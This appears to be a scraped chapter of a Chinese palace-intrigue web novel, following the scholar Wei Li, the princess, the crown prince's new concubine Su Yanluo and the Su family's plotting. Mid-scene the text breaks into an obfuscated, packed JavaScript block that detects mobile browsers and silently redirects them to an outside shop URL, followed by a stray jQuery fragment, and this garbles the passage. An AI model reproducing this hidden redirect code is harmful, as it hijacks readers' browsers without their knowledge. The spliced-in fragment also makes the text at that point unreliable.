郁恒京自诗会之后再没来打扰过魏离,倒是听说苏家三小姐得了他的青眼,要带回周朝去给他的皇兄做侍妾,那三小姐也是本事了得,当天晚上就上了太子的榻,第二天太子就上书给她求侧妃的名分,宠眷一时,把太子妃冯氏气的卧床不起。
“皇祖母也大发雷霆,罚了太子哥哥禁足,父皇都不敢去求情。”清阳正捧着刚摘下来的木槿,仔细装入浅青色琉璃瓶中。
“诗会之上太后娘娘刚评说完苏三小姐上不得台面,太子殿下转头将她纳入府中,还是在陛下准备将苏三小姐作礼给周朝的节骨眼上,太后娘娘只罚禁足已经是轻的了,毕竟殿下还有好几个适龄的兄弟等着抓他的错处,这太子之位也不是稳如泰山的。”魏离仔细地接过她手中的琉璃瓶,摆在檐下小案的正中间,素白色的花朵儿还带着几滴露水,“殿下的眼光真好,这花儿俏生生的看着能开好几天。”
“我觉着太子哥哥这次做得过了,冯尚书本不想嫁女入东宫的,是我去与冯姐姐说情,又求了父皇才讨来的诏书,她才嫁来三个月,闹出这样的事情,换做是我,我也是要闹的。”清阳叹了一口气,“哥哥他真是……昏了头了。”
“也是苏三小姐手段了得,照此看来,苏大小姐的死未必简单。”魏离擦干书案,“殿下不必为太子殿下忧心,自有人助他,在下先给殿下讲明白庄子先贤的‘游’字。”
——————
李焕这头倒还算是平静,毕竟稳坐太子之位这么多年,他还不至于看不清苏烟罗的小心思,顺水推舟地纳了她虽然有一丝色迷心窍的缘故在,但到底不会真的为一个女人毁了自己。
这可是苏府最受宠的女儿,在苏柳玉死后,她就是苏府唯一的嫡女,冯家那头固然不好交代,但也不是没有解决的办法,况且冯大小姐已经入了东宫,反悔必然是不可能的。
眼下唯一的问题是如何向郁恒京交代,只要解决了这个问题,这一步走的收获可不仅仅是一个美人那么简单。
另一头苏尚书更是人精,一细品就明白了其中道理,当下最好的解决办法就是将郁恒京本要的魏离送上,虽然他不满魏离这个不知从哪里冒出来截了胡的书生,但魏离先他一步靠上了东宫这条大船,何况以目前形势来看,推他出去是不太可能了,且不说太后会不会阻止,光那三皇子就不是什么善茬。
“老爷,太子殿下现在被陛下禁足,殿下他会不会迁怒烟儿?烟儿她在东宫孤立无援的,也不知现在过的是什么日子……”苏姚氏心中想起自己如珠似宝的女儿如今困在东宫,连一丝消息也传不出来,鼻尖一酸竟是真的落下泪来。
“太子殿下不会因此怪罪烟儿的。”苏姚氏看不清苏烟罗,他苏桓看的可清楚,可惜了这下苏家只能被拉上太子的船了,若要说他不生气那肯定是假的,他苦心经营多年,本就不愿意掺和夺嫡一事,花费好大心血栽培这个女儿也是为了新帝纳妃,谁承想如今光景,他可是恨透了魏离,前有抢他苏家儿子解元,后又害的他苏家女儿不得已入东宫。
偏偏到这一步苏家已经被打成了太子党,魏离如今是太子眼前的红人,说不准他还得去巴结人家。
得先想办法把太子放出来,苏桓忍下这口气,让心腹去找个扬州瘦马来,转头看到苏姚氏的泪水,心中的怒气消了不少。
这苏姚氏是他母家表妹,从小跟他一起长大,如今十多年了依旧如当年少女一般心思纯粹,心里只有那后院大小的天空。他揽过她的肩膀,“没事的没事的,烟儿是有福气的,去了太子那总比被那个七皇子带走的好。”
“我的烟儿怎么这么命苦啊……”得苏桓的安慰苏姚氏一时控制不住情绪,扑在他怀里,“先前苏柳玉在时她就处处受阻,那天被太后娘娘斥责就,如今还要爬上太子的床做一个妾室……老爷可一定要帮帮烟儿,我们只有烟儿一个女儿呀……”
“我会想办法的。”苏桓安抚地拍拍她的背,毕竟三个女儿也就这一个是有脑子的,既然已经注定要上太子这艘船,那就尽力做到最高,魏离似敌似友不能放任他一人得太子的心,如果苏柳玉在就好办的多了……
——————
“苏桓这个狗东西肯定在想苏柳玉在就好办得多了吧。”郁恒京冲魏离挑了挑眉。
水榭回廊下,魏离正摆弄着眼前的瓷壶,蓝瓷壶面上用珍珠缀出了七星显得有些滑稽,“念起苏柳玉是肯定的,但他绝不会没有办法解决眼前的局面。到底还只是小场面,七殿下这一步走的可是臭棋。殿下您还是好好培养您的审美吧,权谋一事,您不在行。”
“你!”郁恒京快步走上前去,劈手夺过瓷壶,“觉得丑就别拿!”
“无所谓,对于现在的我来说,那不过是一个普通瓷壶。”魏离起身掸掸衣服,“殿下特地唤我来,就是为了让我欣赏这只瓷壶吗?”
“你要如何扳倒苏家,苏家本就业大,如今苏烟罗又靠上了太子,苏家的地位更加稳固,你拿什么拼?”
“太子一定稳固吗?”魏离轻笑,“大宁……又一定稳固吗?”
郁恒京怔怔地看着他,隐约和火光中少女最后的笑容重叠,正欲开口,又听他道,“这天下又一定稳固吗?”
“殿下又一定能一直如此气定神闲地看别家笑话吗?”魏离的眼眸在光线下泛着细密的金丝,“您也是笑话的主角啊……”他收起笑容,“如果殿下没有其他事情,魏离先告辞了。”
郁恒京将手中的瓷壶收入袖中,收起脸上的表情,恹恹地看着他离去的背影,“真没意思。”
静候在水榭外的侍女,眼见魏离走远了,才呈上一封书信。
“家里来的就不必看了。”他摆摆手取出袖中的瓷壶,“季大小姐,这个壶真的很丑吗?”
侍女慢条斯理地将手中的信封撕碎,“丑不丑你自己不知道吗?我若是魏先生,说的恐怕会更难听些。”
“好姐姐,你与我相识相知这么多年,就不能说两句好听的哄哄我?”
“得了吧,我看你男装的样子就反胃,装表妹骗我这么多年,我没撕了你都算开恩了。”季昀睨他一眼,“我平生最恨男子,若不是你答应我带我来找表妹,我早把你丢到军营里头让你尝尝血的味道。”
郁恒京将瓷壶放下,“现在哪里还有什么表妹,苏柳玉已经死了。”
“你骗我?”季昀蹙起眉头,“你是不是在找死,你和郁恒星如果不是因为我家惦念着表妹的下落,早就冻死在深宫之中了,如今告诉我表妹死了,你是要下去给她陪葬吗?”
“在来之前我也不知道她已经死在苏家了。”郁恒京笑着看她,“要怪也是怪苏家,和我有什么关系。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588160|143167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“你知道。”季昀攥住他持着瓷壶的手,瓷壶落在地上四分五裂,“你是看着她死的对不对?你为什么不救她?”
“你在说什么胡话,我的亲妹妹啊,我怎么会袖手旁观。”郁恒京挣不开她的手,无奈地摇摇头,“一定要她吗?我和郁恒星不行吗?”
“这就是我讨厌男人的原因之一,自以为是。”她松开他的手,转身离开,“别破坏魏先生的计划,周朝这么多皇子,死一个,那个老皇帝也不会对季家有意见的。”
郁恒京揉了揉手腕上的红痕,蹲下来捡起地上的瓷片,殷红的血色在指尖绽开。
————-
过了几天平静日子,魏离看着天气不错,出了趟门,天气明媚,人总是想吃些甜的,他提着糕点还未走近家门,就看见轿撵停在门边,少年少女正在门口,清浅的柔和阳光正落在他们身上,轻轻地镀上一层金纱。
“先生。”李瀛远远就看见魏离的身影,浅绿色的长衫,身姿挺拔像棵玉竹。
“见过三殿下、公主殿下。”魏离行了个礼,推开木门,让在外面等候许久的二人先进去,转身去烧水沏茶。
“太子哥哥也真是的,怎么也不派两个侍从替先生打理家事。”清阳熟门熟路地翻出她平日里常坐的软垫,“这小院虽然舒适,但是只有先生一人也还是太冷清了。”
“我倒是觉得先生挺喜欢一个人的。”李瀛瞥见走廊的小茶几上还放着翻开的《三国》,书旁的茶杯中的茶水还未换新,那七皇子就当真这么着急,不容得先生收拾一下书物?
“总要成家的。”魏离端着茶水从他们身后走来,“不久就是会试了,三殿下也还要参与吗?”
“试试吧,上次落后于先生,我本来还颇有不服,但等到看了先生的答卷,就变成自愧弗如了。”李瀛接过他手中的茶水,“上次苏家长子本来是拿了考题好好准备,打算名动京城的,被先生截胡……再加上苏烟罗的事情,这次会试,恐怕不会善罢甘休。”
“殿下多虑了,苏尚书心胸宽广,哪里会因为这点事情怪罪于我,更何况,苏小姐不也是已经在准备封侧妃的典仪了吗?”魏离为他们倒好茶水,“不是什么大事。”
现下他和苏家在一条船上,谁先露出蛇尾谁先落水,苏桓可不是什么蠢人。
“先别谈那么严肃的事情,过两天父皇要派人带那个七皇子去登高游玩,听母后说他执意要去华山,那么高那么险,他指名要我跟三哥陪他,我根本上不去嘛。”清阳捧起魏离专门为她配的花茶,小口小口地抿着。
“殿下可以留在山下,七皇子应该也是会体谅您的,不归听说华山下有个行宫,应该也是个好去处。”魏离拆开刚买的桃花酥外面的油纸,“听说这次陛下是打算从世家子弟里再挑几个同行,女眷应该都可以在山下等着。”
“先生买的是哪家桃花酥,吃起来比宫里御厨做的味道还好上两分。”李瀛此时已经没心思去听他们俩在想什么了,他的眼里只有这一份桃花酥。
“街上闲逛的时候看到的,恰巧今日想吃就上街去买了,没想到味道还不错。”魏离又给他添了一杯茶水,“就在当日投壶的隔壁。”
意料之中的答案,李瀛继续沉默着听他们二人的谈话,思绪偷偷地游远,如果她在的话,跟魏先生一定能成为很好的朋友。